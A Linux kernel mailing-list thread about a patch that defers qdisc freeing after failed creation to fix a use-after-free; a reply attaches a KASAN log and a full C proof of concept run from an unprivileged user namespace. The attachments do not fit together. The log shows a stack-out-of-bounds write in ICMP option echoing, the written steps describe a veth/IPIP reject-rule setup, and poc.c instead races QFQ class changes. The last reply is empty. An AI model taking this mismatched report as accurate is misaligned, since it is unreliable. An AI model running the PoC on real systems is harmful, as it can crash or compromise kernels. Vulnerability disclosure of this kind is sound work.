* [PATCH net] net/sched: defer qdisc freeing after failed creation
@ 2026-08-05 10:25 David Lee
2026-08-05 18:00 ` Jamal Hadi Salim
0 siblings, 1 reply; 4+ messages in thread
From: David Lee @ 2026-08-05 10:25 UTC (permalink / raw)
To: davem, edumazet, kuba, pabeni, jhs, jiri
Cc: Kyle Zeng, Dominik 'Disconnect3d' Czarnota, horms, netdev,
linux-kernel, David Lee
From: Kyle Zeng <kylebot@openai.com>
A qdisc's init callback can publish state to RCU readers before
qdisc_create() completes. In particular, clsact_init() binds a populated
shared ingress block and installs an embedded mini_Qdisc in
dev->tcx_ingress. If subsequent rate estimator setup fails, the unwind
removes that pointer but qdisc_free() immediately releases the qdisc and
its per-CPU statistics. A reader that obtained the miniq before removal
can then access freed memory.
Add qdisc_free_rcu() and use it for the creation error path, matching
normal qdisc destruction. This keeps the embedded miniq and the per-CPU
statistics alive until pre-existing readers complete.
Fixes: 51ab2994c387 ("net: sched: allow ingress and clsact qdiscs to share filter blocks")
Assisted-by: Codex:gpt-5.6-sol Codex:gpt-5.5-cyber
Signed-off-by: Kyle Zeng <kylebot@openai.com>
Signed-off-by: David Lee <david.lee@trailofbits.com>
---
Bug found and triaged by OpenAI Security Research and
validated by Trail of Bits.
Trail of Bits has a reproducer for this bug that triggers a
KASAN use-after-free and can share if needed.
include/net/sch_generic.h | 1 +
net/sched/sch_api.c | 2 +-
net/sched/sch_generic.c | 7 ++++++-
3 files changed, 8 insertions(+), 2 deletions(-)
diff --git a/include/net/sch_generic.h b/include/net/sch_generic.h
index 45a1e8c782..d45442c926 100644
--- a/include/net/sch_generic.h
+++ b/include/net/sch_generic.h
@@ -793,6 +793,7 @@ struct Qdisc *qdisc_alloc(struct netdev_queue *dev_queue,
const struct Qdisc_ops *ops,
struct netlink_ext_ack *extack);
void qdisc_free(struct Qdisc *qdisc);
+void qdisc_free_rcu(struct Qdisc *qdisc);
struct Qdisc *qdisc_create_dflt(struct netdev_queue *dev_queue,
const struct Qdisc_ops *ops, u32 parentid,
struct netlink_ext_ack *extack);
diff --git a/net/sched/sch_api.c b/net/sched/sch_api.c
index 668bcd60d1..041bd60072 100644
--- a/net/sched/sch_api.c
+++ b/net/sched/sch_api.c
@@ -1373,7 +1373,7 @@ static struct Qdisc *qdisc_create(struct net_device *dev,
err_out3:
qdisc_lock_uninit(sch, ops);
netdev_put(dev, &sch->dev_tracker);
- qdisc_free(sch);
+ qdisc_free_rcu(sch);
err_out2:
bpf_module_put(ops, ops->owner);
err_out:
diff --git a/net/sched/sch_generic.c b/net/sched/sch_generic.c
index ef2b4bf515..86d551fbab 100644
--- a/net/sched/sch_generic.c
+++ b/net/sched/sch_generic.c
@@ -1103,6 +1103,11 @@ static void qdisc_free_cb(struct rcu_head *head)
qdisc_free(q);
}
+void qdisc_free_rcu(struct Qdisc *qdisc)
+{
+ call_rcu(&qdisc->rcu, qdisc_free_cb);
+}
+
static void __qdisc_destroy(struct Qdisc *qdisc)
{
const struct Qdisc_ops *ops = qdisc->ops;
@@ -1127,7 +1132,7 @@ static void __qdisc_destroy(struct Qdisc *qdisc)
trace_qdisc_destroy(qdisc);
- call_rcu(&qdisc->rcu, qdisc_free_cb);
+ qdisc_free_rcu(qdisc);
}
void qdisc_destroy(struct Qdisc *qdisc)
--
2.53.0
^ permalink raw reply related [flat|nested] 4+ messages in thread
* Re: [PATCH net] net/sched: defer qdisc freeing after failed creation
2026-08-05 10:25 [PATCH net] net/sched: defer qdisc freeing after failed creation David Lee
@ 2026-08-05 18:00 ` Jamal Hadi Salim
2026-08-10 15:58 ` David Lee
0 siblings, 1 reply; 4+ messages in thread
From: Jamal Hadi Salim @ 2026-08-05 18:00 UTC (permalink / raw)
To: David Lee
Cc: davem, edumazet, kuba, pabeni, jiri, Kyle Zeng,
Dominik 'Disconnect3d' Czarnota, horms, netdev,
linux-kernel
On Wed, Aug 5, 2026 at 6:25 AM David Lee <david.lee@trailofbits.com> wrote:
>
> From: Kyle Zeng <kylebot@openai.com>
>
> A qdisc's init callback can publish state to RCU readers before
> qdisc_create() completes. In particular, clsact_init() binds a populated
> shared ingress block and installs an embedded mini_Qdisc in
> dev->tcx_ingress. If subsequent rate estimator setup fails, the unwind
> removes that pointer but qdisc_free() immediately releases the qdisc and
> its per-CPU statistics. A reader that obtained the miniq before removal
> can then access freed memory.
>
> Add qdisc_free_rcu() and use it for the creation error path, matching
> normal qdisc destruction. This keeps the embedded miniq and the per-CPU
> statistics alive until pre-existing readers complete.
>
> Fixes: 51ab2994c387 ("net: sched: allow ingress and clsact qdiscs to share filter blocks")
> Assisted-by: Codex:gpt-5.6-sol Codex:gpt-5.5-cyber
> Signed-off-by: Kyle Zeng <kylebot@openai.com>
> Signed-off-by: David Lee <david.lee@trailofbits.com>
Thanks for finding the issue. But you should know the deal by now,
send the poc - you can send it in private. Same goes for your other
patch.
cheers,
jamal
> ---
> Bug found and triaged by OpenAI Security Research and
> validated by Trail of Bits.
>
> Trail of Bits has a reproducer for this bug that triggers a
> KASAN use-after-free and can share if needed.
>
> include/net/sch_generic.h | 1 +
> net/sched/sch_api.c | 2 +-
> net/sched/sch_generic.c | 7 ++++++-
> 3 files changed, 8 insertions(+), 2 deletions(-)
>
> diff --git a/include/net/sch_generic.h b/include/net/sch_generic.h
> index 45a1e8c782..d45442c926 100644
> --- a/include/net/sch_generic.h
> +++ b/include/net/sch_generic.h
> @@ -793,6 +793,7 @@ struct Qdisc *qdisc_alloc(struct netdev_queue *dev_queue,
> const struct Qdisc_ops *ops,
> struct netlink_ext_ack *extack);
> void qdisc_free(struct Qdisc *qdisc);
> +void qdisc_free_rcu(struct Qdisc *qdisc);
> struct Qdisc *qdisc_create_dflt(struct netdev_queue *dev_queue,
> const struct Qdisc_ops *ops, u32 parentid,
> struct netlink_ext_ack *extack);
> diff --git a/net/sched/sch_api.c b/net/sched/sch_api.c
> index 668bcd60d1..041bd60072 100644
> --- a/net/sched/sch_api.c
> +++ b/net/sched/sch_api.c
> @@ -1373,7 +1373,7 @@ static struct Qdisc *qdisc_create(struct net_device *dev,
> err_out3:
> qdisc_lock_uninit(sch, ops);
> netdev_put(dev, &sch->dev_tracker);
> - qdisc_free(sch);
> + qdisc_free_rcu(sch);
> err_out2:
> bpf_module_put(ops, ops->owner);
> err_out:
> diff --git a/net/sched/sch_generic.c b/net/sched/sch_generic.c
> index ef2b4bf515..86d551fbab 100644
> --- a/net/sched/sch_generic.c
> +++ b/net/sched/sch_generic.c
> @@ -1103,6 +1103,11 @@ static void qdisc_free_cb(struct rcu_head *head)
> qdisc_free(q);
> }
>
> +void qdisc_free_rcu(struct Qdisc *qdisc)
> +{
> + call_rcu(&qdisc->rcu, qdisc_free_cb);
> +}
> +
> static void __qdisc_destroy(struct Qdisc *qdisc)
> {
> const struct Qdisc_ops *ops = qdisc->ops;
> @@ -1127,7 +1132,7 @@ static void __qdisc_destroy(struct Qdisc *qdisc)
>
> trace_qdisc_destroy(qdisc);
>
> - call_rcu(&qdisc->rcu, qdisc_free_cb);
> + qdisc_free_rcu(qdisc);
> }
>
> void qdisc_destroy(struct Qdisc *qdisc)
> --
> 2.53.0
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [PATCH net] net/sched: defer qdisc freeing after failed creation
2026-08-05 18:00 ` Jamal Hadi Salim
@ 2026-08-10 15:58 ` David Lee
2026-08-13 1:22 ` Jakub Kicinski
0 siblings, 1 reply; 4+ messages in thread
From: David Lee @ 2026-08-10 15:58 UTC (permalink / raw)
To: Jamal Hadi Salim
Cc: davem, edumazet, kuba, pabeni, jiri, Kyle Zeng,
Dominik 'Disconnect3d' Czarnota, horms, netdev,
linux-kernel
[-- Attachment #1.1: Type: text/plain, Size: 11478 bytes --]
Hi Jamal,
I have attached the reproducer and satnizer logs here:
---
[ 230.057740] ipip: IPv4 and MPLS over IPv4 tunneling driver
[ 231.667279]
==================================================================
[ 231.667738] BUG: KASAN: stack-out-of-bounds in
__ip_options_echo+0xdf7/0x1860
[ 231.667738] Write of size 255 at addr ffffc9000029f008 by task
ksoftirqd/3/37
[ 231.667738]
[ 231.667738] CPU: 3 UID: 0 PID: 37 Comm: ksoftirqd/3 Not tainted
7.2.0-rc3-kasan #1 PREEMPT(lazy)
[ 231.667738] Hardware name: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996),
BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014
[ 231.667738] Call Trace:
[ 231.667738] <TASK>
[ 231.667738] dump_stack_lvl+0x5f/0x90
[ 231.667738] print_report+0x15b/0x4ec
[ 231.667738] ? __pfx__raw_spin_lock_irqsave+0x10/0x10
[ 231.667738] ? kasan_addr_to_slab+0xd/0x80
[ 231.667738] kasan_report+0xf2/0x130
[ 231.667738] ? __ip_options_echo+0xdf7/0x1860
[ 231.667738] ? __ip_options_echo+0xdf7/0x1860
[ 231.667738] kasan_check_range+0x13a/0x230
[ 231.667738] __asan_memcpy+0x3b/0x80
[ 231.667738] __ip_options_echo+0xdf7/0x1860
[ 231.667738] ? __pfx___ip_options_echo+0x10/0x10
[ 231.667738] __icmp_send+0x8c5/0x26e0
[ 231.667738] ? __pfx___icmp_send+0x10/0x10
[ 231.667738] ? sysvec_apic_timer_interrupt+0x54/0xd0
[ 231.667738] ? __pfx_nf_reject_fill_skb_dst+0x10/0x10 [nf_reject_ipv4]
[ 231.667738] ? _raw_spin_lock+0x82/0xf0
[ 231.667738] ? irqentry_exit+0x1cd/0x7b0
[ 231.667738] nf_send_unreach+0x303/0x810 [nf_reject_ipv4]
[ 231.667738] ? __pfx_nf_send_unreach+0x10/0x10 [nf_reject_ipv4]
[ 231.667738] nft_reject_inet_eval+0x4cd/0x8a0 [nft_reject_inet]
[ 231.667738] ? nft_do_chain+0x45a/0x1ae0 [nf_tables]
[ 231.667738] nft_do_chain+0x25a/0x1ae0 [nf_tables]
[ 231.667738] ? __pfx_tcp_v4_rcv+0x10/0x10
[ 231.667738] ? raw_local_deliver+0x3b9/0xc80
[ 231.667738] ? __pfx_nft_do_chain+0x10/0x10 [nf_tables]
[ 231.667738] ? update_stack_state+0x26e/0x6a0
[ 231.667738] ? fib_validate_source+0x455/0x770
[ 231.667738] ? update_stack_state+0x26e/0x6a0
[ 231.667738] nft_do_chain_inet_ingress+0x44f/0x1420 [nf_tables]
[ 231.667738] ? __pfx_nft_do_chain_inet_ingress+0x10/0x10 [nf_tables]
[ 231.667738] ? unwind_next_frame+0x18a/0xac0
[ 231.667738] nf_hook_slow+0xaa/0x1f0
[ 231.667738] __netif_receive_skb_core.constprop.0+0x19b6/0x31e0
[ 231.667738] ? __pfx_read_hpet+0x10/0x10
[ 231.667738] ? ret_from_fork_asm+0x1a/0x30
[ 231.667738] ? __pfx___netif_receive_skb_core.constprop.0+0x10/0x10
[ 231.667738] ? clockevents_program_event+0x2bd/0x750
[ 231.667738] ? run_ksoftirqd+0x3a/0x60
[ 231.667738] ? kasan_save_stack+0x4e/0x70
[ 231.667738] ? __kasan_check_write+0x14/0x30
[ 231.667738] ? _raw_spin_lock+0x82/0xf0
[ 231.667738] ? __hrtimer_rearm_deferred+0x18a/0x520
[ 231.667738] __netif_receive_skb_list_core+0x314/0xb10
[ 231.667738] ? sysvec_apic_timer_interrupt+0x54/0xd0
[ 231.667738] ? __pfx___netif_receive_skb_list_core+0x10/0x10
[ 231.667738] ? kasan_save_track+0x27/0x70
[ 231.667738] netif_receive_skb_list_internal+0x5eb/0xde0
[ 231.667738] ? __kasan_check_write+0x14/0x30
[ 231.667738] ? __pfx_netif_receive_skb_list_internal+0x10/0x10
[ 231.667738] ? __pfx_napi_complete_done+0x10/0x10
[ 231.667738] ? __pfx_dql_completed+0x10/0x10
[ 231.667738] ? __kasan_check_read+0x11/0x20
[ 231.667738] ? dev_gro_receive+0x20d/0x3060
[ 231.667738] napi_complete_done+0x1b6/0x830
[ 231.667738] ? pick_eevdf+0x19b/0x7e0
[ 231.667738] ? __pfx_napi_complete_done+0x10/0x10
[ 231.667738] ? gro_receive_skb+0x292/0xa90
[ 231.667738] gro_cell_poll+0x120/0x1f0
[ 231.667738] __napi_poll+0xa3/0x4c0
[ 231.667738] net_rx_action+0x4c1/0xfb0
[ 231.667738] ? __pfx_net_rx_action+0x10/0x10
[ 231.667738] ? finish_task_switch.isra.0+0x1f1/0xc10
[ 231.667738] ? __switch_to+0x8d7/0xd40
[ 231.667738] handle_softirqs+0x1ae/0x670
[ 231.667738] ? __pfx_handle_softirqs+0x10/0x10
[ 231.667738] run_ksoftirqd+0x3a/0x60
[ 231.667738] smpboot_thread_fn+0x29d/0x6e0
[ 231.667738] ? __pfx_smpboot_thread_fn+0x10/0x10
[ 231.667738] kthread+0x333/0x420
[ 231.667738] ? calculate_sigpending+0x78/0xb0
[ 231.667738] ? __pfx_kthread+0x10/0x10
[ 231.667738] ret_from_fork+0x426/0x7c0
[ 231.667738] ? __pfx_ret_from_fork+0x10/0x10
[ 231.667738] ? native_load_gs_index+0x3f/0x60
[ 231.667738] ? __switch_to+0x8d7/0xd40
[ 231.667738] ? __switch_to_asm+0x39/0x70
[ 231.667738] ? __pfx_kthread+0x10/0x10
[ 231.667738] ret_from_fork_asm+0x1a/0x30
[ 231.667738] </TASK>
[ 231.667738]
[ 231.667738] The buggy address belongs to stack of task ksoftirqd/3/37
[ 231.667738] and is located at offset 376 in frame:
[ 231.667738] __icmp_send+0x0/0x26e0
[ 231.667738]
[ 231.667738] This frame has 7 objects:
[ 231.667738] [32, 33) 'apply_ratelimit'
[ 231.667738] [48, 49) '_inner_type'
[ 231.667738] [64, 68) 'data'
[ 231.667738] [80, 88) 'rt'
[ 231.667738] [112, 168) 'ipc'
[ 231.667738] [208, 264) 'fl4'
[ 231.667738] [304, 416) 'icmp_param_u'
[ 231.667738]
[ 231.667738] The buggy address belongs to a vmalloc virtual mapping
[ 231.667738] The buggy address belongs to the physical page:
[ 231.667738] page: refcount:1 mapcount:0 mapping:0000000000000000
index:0x0 pfn:0x100c1f
[ 231.667738] flags: 0x17ffffc0000000(node=0|zone=2|lastcpupid=0x1fffff)
[ 231.667738] raw: 0017ffffc0000000 ffffea00040307c8 ffffea00040307c8
0000000000000000
[ 231.667738] raw: 0000000000000000 0000000000000000 00000001ffffffff
0000000000000000
[ 231.667738] page dumped because: kasan: bad access detected
[ 231.667738]
[ 231.667738] Memory state around the buggy address:
[ 231.667738] ffffc9000029ef00: 00 00 00 00 00 00 00 f2 f2 f2 f2 f2 00 00
00 00
[ 231.667738] ffffc9000029ef80: 00 00 00 f2 f2 f2 f2 f2 00 00 00 00 00 00
00 00
[ 231.667738] >ffffc9000029f000: 00 00 00 00 00 00 f3 f3 f3 f3 00 00 00 00
00 00
[ 231.667738] ^
[ 231.667738] ffffc9000029f080: 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
00 f3
[ 231.667738] ffffc9000029f100: f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
00 00
[ 231.667738]
==================================================================
[ 231.746888] Disabling lock debugging due to kernel taint
---
======== Affected Versions =======
Confirmed Version:
* 6f5156d7a31a8c3b0f34af4675c9299c8f877cbe (post-v7.2-rc3)
Required Configs for the Vulnerability:
* CONFIG_INET
* CONFIG_NETFILTER
* CONFIG_NETFILTER_INGRESS
* CONFIG_NF_TABLES
* CONFIG_NF_TABLES_INET
* CONFIG_NFT_REJECT
* CONFIG_NFT_REJECT_INET
* CONFIG_NF_REJECT_IPV4
Additional Configs for the Proof of Concept:
* CONFIG_NET_IPIP
* CONFIG_VETH
* CONFIG_PACKET
* CONFIG_USER_NS
* CONFIG_NET_NS
========== Reproduction ==========
Step 1: Build kernel commit
`6f5156d7a31a8c3b0f34af4675c9299c8f877cbe` with KASAN and the
configuration options listed above.
Step 2: Build the attached `poc.c`:
~
gcc -static -O2 -Wall -Wextra -o poc poc.c
~
Step 3: Ensure the `nft_reject_inet`, `nf_reject_ipv4`, `ipip`, and
`veth` modules are available or built into the kernel. Run `./poc` as
an ordinary local user on a system that permits unprivileged user
namespaces. The `ip` utility must be installed.
The program creates its own user and network namespace, configures a
veth pair and IPIP device, installs an inet-ingress ICMPX reject rule,
and transmits the triggering packet. KASAN reports the
stack-out-of-bounds write.
Best regards,
David
On Wed, Aug 5, 2026 at 2:01 PM Jamal Hadi Salim <jhs@mojatatu.com> wrote:
> On Wed, Aug 5, 2026 at 6:25 AM David Lee <david.lee@trailofbits.com>
> wrote:
> >
> > From: Kyle Zeng <kylebot@openai.com>
> >
> > A qdisc's init callback can publish state to RCU readers before
> > qdisc_create() completes. In particular, clsact_init() binds a populated
> > shared ingress block and installs an embedded mini_Qdisc in
> > dev->tcx_ingress. If subsequent rate estimator setup fails, the unwind
> > removes that pointer but qdisc_free() immediately releases the qdisc and
> > its per-CPU statistics. A reader that obtained the miniq before removal
> > can then access freed memory.
> >
> > Add qdisc_free_rcu() and use it for the creation error path, matching
> > normal qdisc destruction. This keeps the embedded miniq and the per-CPU
> > statistics alive until pre-existing readers complete.
> >
> > Fixes: 51ab2994c387 ("net: sched: allow ingress and clsact qdiscs to
> share filter blocks")
> > Assisted-by: Codex:gpt-5.6-sol Codex:gpt-5.5-cyber
> > Signed-off-by: Kyle Zeng <kylebot@openai.com>
> > Signed-off-by: David Lee <david.lee@trailofbits.com>
>
> Thanks for finding the issue. But you should know the deal by now,
> send the poc - you can send it in private. Same goes for your other
> patch.
>
> cheers,
> jamal
>
> > ---
> > Bug found and triaged by OpenAI Security Research and
> > validated by Trail of Bits.
> >
> > Trail of Bits has a reproducer for this bug that triggers a
> > KASAN use-after-free and can share if needed.
> >
> > include/net/sch_generic.h | 1 +
> > net/sched/sch_api.c | 2 +-
> > net/sched/sch_generic.c | 7 ++++++-
> > 3 files changed, 8 insertions(+), 2 deletions(-)
> >
> > diff --git a/include/net/sch_generic.h b/include/net/sch_generic.h
> > index 45a1e8c782..d45442c926 100644
> > --- a/include/net/sch_generic.h
> > +++ b/include/net/sch_generic.h
> > @@ -793,6 +793,7 @@ struct Qdisc *qdisc_alloc(struct netdev_queue
> *dev_queue,
> > const struct Qdisc_ops *ops,
> > struct netlink_ext_ack *extack);
> > void qdisc_free(struct Qdisc *qdisc);
> > +void qdisc_free_rcu(struct Qdisc *qdisc);
> > struct Qdisc *qdisc_create_dflt(struct netdev_queue *dev_queue,
> > const struct Qdisc_ops *ops, u32
> parentid,
> > struct netlink_ext_ack *extack);
> > diff --git a/net/sched/sch_api.c b/net/sched/sch_api.c
> > index 668bcd60d1..041bd60072 100644
> > --- a/net/sched/sch_api.c
> > +++ b/net/sched/sch_api.c
> > @@ -1373,7 +1373,7 @@ static struct Qdisc *qdisc_create(struct
> net_device *dev,
> > err_out3:
> > qdisc_lock_uninit(sch, ops);
> > netdev_put(dev, &sch->dev_tracker);
> > - qdisc_free(sch);
> > + qdisc_free_rcu(sch);
> > err_out2:
> > bpf_module_put(ops, ops->owner);
> > err_out:
> > diff --git a/net/sched/sch_generic.c b/net/sched/sch_generic.c
> > index ef2b4bf515..86d551fbab 100644
> > --- a/net/sched/sch_generic.c
> > +++ b/net/sched/sch_generic.c
> > @@ -1103,6 +1103,11 @@ static void qdisc_free_cb(struct rcu_head *head)
> > qdisc_free(q);
> > }
> >
> > +void qdisc_free_rcu(struct Qdisc *qdisc)
> > +{
> > + call_rcu(&qdisc->rcu, qdisc_free_cb);
> > +}
> > +
> > static void __qdisc_destroy(struct Qdisc *qdisc)
> > {
> > const struct Qdisc_ops *ops = qdisc->ops;
> > @@ -1127,7 +1132,7 @@ static void __qdisc_destroy(struct Qdisc *qdisc)
> >
> > trace_qdisc_destroy(qdisc);
> >
> > - call_rcu(&qdisc->rcu, qdisc_free_cb);
> > + qdisc_free_rcu(qdisc);
> > }
> >
> > void qdisc_destroy(struct Qdisc *qdisc)
> > --
> > 2.53.0
>
[-- Attachment #1.2: Type: text/html, Size: 13263 bytes --]
[-- Attachment #2: poc.c --]
[-- Type: application/octet-stream, Size: 8441 bytes --]
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/gen_stats.h>
#include <linux/netlink.h>
#include <linux/pkt_sched.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <pthread.h>
#include <sched.h>
#include <stdarg.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#define QDISC_HANDLE 0x10000U
#define CLASS_HANDLE 0x10001U
#define TARGET_LMAX 1500U
#define UDP_PAYLOAD_LEN 1458
#define ITERATIONS 50000U
#define MAX_DELAY 4096U
struct nl_req {
char buf[4096];
struct nlmsghdr *nlh;
};
struct race_ctx {
atomic_uint go;
atomic_uint done;
int sender;
int receiver;
char packet[UDP_PAYLOAD_LEN];
};
static uint32_t nl_seq;
static void die(const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
fprintf(stderr, ": %s\n", strerror(errno));
exit(1);
}
static void expect_ok(int ret, const char *what)
{
if (ret < 0) {
errno = -ret;
die("%s", what);
}
}
static void init_req(struct nl_req *req, uint16_t type, uint16_t flags,
size_t payload_len)
{
memset(req, 0, sizeof(*req));
req->nlh = (struct nlmsghdr *)req->buf;
req->nlh->nlmsg_len = NLMSG_LENGTH(payload_len);
req->nlh->nlmsg_type = type;
req->nlh->nlmsg_flags = flags;
}
static void addattr(struct nl_req *req, uint16_t type, const void *data,
size_t len)
{
size_t offset = NLMSG_ALIGN(req->nlh->nlmsg_len);
size_t attr_len = RTA_LENGTH(len);
struct rtattr *rta;
if (offset + RTA_ALIGN(attr_len) > sizeof(req->buf)) {
errno = E2BIG;
die("netlink attribute overflow");
}
rta = (struct rtattr *)(req->buf + offset);
rta->rta_type = type;
rta->rta_len = attr_len;
memcpy(RTA_DATA(rta), data, len);
req->nlh->nlmsg_len = offset + RTA_ALIGN(attr_len);
}
static struct rtattr *nest_start(struct nl_req *req, uint16_t type)
{
size_t offset = NLMSG_ALIGN(req->nlh->nlmsg_len);
struct rtattr *rta;
if (offset + RTA_ALIGN(RTA_LENGTH(0)) > sizeof(req->buf)) {
errno = E2BIG;
die("netlink nest overflow");
}
rta = (struct rtattr *)(req->buf + offset);
rta->rta_type = type;
rta->rta_len = RTA_LENGTH(0);
req->nlh->nlmsg_len = offset + RTA_ALIGN(rta->rta_len);
return rta;
}
static void nest_end(struct nl_req *req, struct rtattr *rta)
{
rta->rta_len = (char *)req->buf + req->nlh->nlmsg_len - (char *)rta;
}
static int nl_open(void)
{
struct sockaddr_nl addr = {
.nl_family = AF_NETLINK,
};
int fd;
fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (fd < 0)
die("socket NETLINK_ROUTE");
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die("bind NETLINK_ROUTE");
return fd;
}
static int nl_talk(int fd, struct nl_req *req)
{
struct sockaddr_nl nladdr = {
.nl_family = AF_NETLINK,
};
char buf[8192];
struct iovec iov;
struct msghdr msg;
ssize_t n;
req->nlh->nlmsg_seq = ++nl_seq;
iov.iov_base = req->nlh;
iov.iov_len = req->nlh->nlmsg_len;
memset(&msg, 0, sizeof(msg));
msg.msg_name = &nladdr;
msg.msg_namelen = sizeof(nladdr);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
if (sendmsg(fd, &msg, 0) < 0)
return -errno;
for (;;) {
struct nlmsghdr *nlh;
int rem;
n = recv(fd, buf, sizeof(buf), 0);
if (n < 0)
return -errno;
for (nlh = (struct nlmsghdr *)buf, rem = (int)n;
NLMSG_OK(nlh, rem); nlh = NLMSG_NEXT(nlh, rem)) {
struct nlmsgerr *err;
if (nlh->nlmsg_seq != req->nlh->nlmsg_seq)
continue;
if (nlh->nlmsg_type != NLMSG_ERROR)
continue;
err = (struct nlmsgerr *)NLMSG_DATA(nlh);
return err->error;
}
}
}
static int qdisc_add(int fd, int ifindex)
{
struct nl_req req;
struct tcmsg *tcm;
const char kind[] = "qfq";
init_req(&req, RTM_NEWQDISC,
NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL,
sizeof(*tcm));
tcm = NLMSG_DATA(req.nlh);
tcm->tcm_family = AF_UNSPEC;
tcm->tcm_ifindex = ifindex;
tcm->tcm_handle = QDISC_HANDLE;
tcm->tcm_parent = TC_H_ROOT;
addattr(&req, TCA_KIND, kind, sizeof(kind));
return nl_talk(fd, &req);
}
static int class_change(int fd, int ifindex, uint32_t lmax, bool create,
bool add_rate)
{
struct nl_req req;
struct tcmsg *tcm;
struct rtattr *opts;
struct gnet_estimator est = {
.interval = -2,
.ewma_log = 1,
};
uint32_t weight = 1;
uint16_t flags = NLM_F_REQUEST | NLM_F_ACK;
if (create)
flags |= NLM_F_CREATE | NLM_F_EXCL;
init_req(&req, RTM_NEWTCLASS, flags, sizeof(*tcm));
tcm = NLMSG_DATA(req.nlh);
tcm->tcm_family = AF_UNSPEC;
tcm->tcm_ifindex = ifindex;
tcm->tcm_handle = CLASS_HANDLE;
tcm->tcm_parent = QDISC_HANDLE;
opts = nest_start(&req, TCA_OPTIONS);
addattr(&req, TCA_QFQ_WEIGHT, &weight, sizeof(weight));
addattr(&req, TCA_QFQ_LMAX, &lmax, sizeof(lmax));
nest_end(&req, opts);
if (add_rate)
addattr(&req, TCA_RATE, &est, sizeof(est));
return nl_talk(fd, &req);
}
static void setup_namespace(void)
{
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0)
die("unshare");
}
static int setup_loopback(void)
{
struct ifreq ifr;
int fd;
int ifindex;
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die("socket AF_INET");
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
die("SIOCGIFFLAGS");
ifr.ifr_flags |= IFF_UP;
if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
die("SIOCSIFFLAGS");
close(fd);
ifindex = if_nametoindex("lo");
if (ifindex == 0)
die("if_nametoindex");
return ifindex;
}
static int setup_udp(int *receiver)
{
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
.sin_port = 0,
};
socklen_t addrlen = sizeof(addr);
int sender;
int priority = CLASS_HANDLE;
*receiver = socket(AF_INET, SOCK_DGRAM, 0);
if (*receiver < 0)
die("receiver socket");
if (bind(*receiver, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die("receiver bind");
if (getsockname(*receiver, (struct sockaddr *)&addr, &addrlen) < 0)
die("receiver getsockname");
sender = socket(AF_INET, SOCK_DGRAM, 0);
if (sender < 0)
die("sender socket");
if (setsockopt(sender, SOL_SOCKET, SO_PRIORITY, &priority,
sizeof(priority)) < 0)
die("SO_PRIORITY");
if (connect(sender, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die("sender connect");
return sender;
}
static void pin_cpu(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(set), &set) < 0)
die("sched_setaffinity");
}
static void spin_delay(unsigned int count)
{
while (count--)
asm volatile("pause" ::: "memory");
}
static void *sender_thread(void *arg)
{
struct race_ctx *ctx = arg;
unsigned int i;
pin_cpu(1);
for (i = 1; i <= ITERATIONS; i++) {
char drain[2048];
while (atomic_load_explicit(&ctx->go, memory_order_acquire) != i)
asm volatile("pause" ::: "memory");
spin_delay(i % MAX_DELAY);
if (send(ctx->sender, ctx->packet, sizeof(ctx->packet), 0) < 0)
die("send");
while (recv(ctx->receiver, drain, sizeof(drain), MSG_DONTWAIT) > 0)
;
atomic_store_explicit(&ctx->done, i, memory_order_release);
}
return NULL;
}
int main(void)
{
struct race_ctx ctx;
pthread_t thread;
int nl;
int ifindex;
int ret;
int thread_ret;
unsigned int i;
memset(&ctx, 0, sizeof(ctx));
memset(ctx.packet, 'A', sizeof(ctx.packet));
setup_namespace();
ifindex = setup_loopback();
nl = nl_open();
expect_ok(qdisc_add(nl, ifindex), "add qfq qdisc");
expect_ok(class_change(nl, ifindex, 512, true, false),
"create qfq class");
ctx.sender = setup_udp(&ctx.receiver);
pin_cpu(0);
thread_ret = pthread_create(&thread, NULL, sender_thread, &ctx);
if (thread_ret != 0) {
errno = thread_ret;
die("pthread_create");
}
/*
* The estimator attribute makes the post-snapshot part of
* qfq_change_class() long enough for the packet enqueue on CPU 1 to
* migrate the class to the requested (weight=1, lmax=1500) aggregate.
*/
for (i = 1; i <= ITERATIONS; i++) {
expect_ok(class_change(nl, ifindex, 512, false, false),
"reset qfq class");
atomic_store_explicit(&ctx.go, i, memory_order_release);
ret = class_change(nl, ifindex, TARGET_LMAX, false, true);
expect_ok(ret, "change qfq class");
while (atomic_load_explicit(&ctx.done, memory_order_acquire) != i)
asm volatile("pause" ::: "memory");
}
pthread_join(thread, NULL);
close(ctx.sender);
close(ctx.receiver);
close(nl);
return 0;
}
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [PATCH net] net/sched: defer qdisc freeing after failed creation
2026-08-10 15:58 ` David Lee
@ 2026-08-13 1:22 ` Jakub Kicinski
0 siblings, 0 replies; 4+ messages in thread
From: Jakub Kicinski @ 2026-08-13 1:22 UTC (permalink / raw)
To: David Lee
Cc: Jamal Hadi Salim, davem, edumazet, pabeni, jiri, Kyle Zeng,
Dominik 'Disconnect3d' Czarnota, horms, netdev,
linux-kernel
On Tue, 11 Aug 2026 00:58:27 +0900 David Lee wrote:
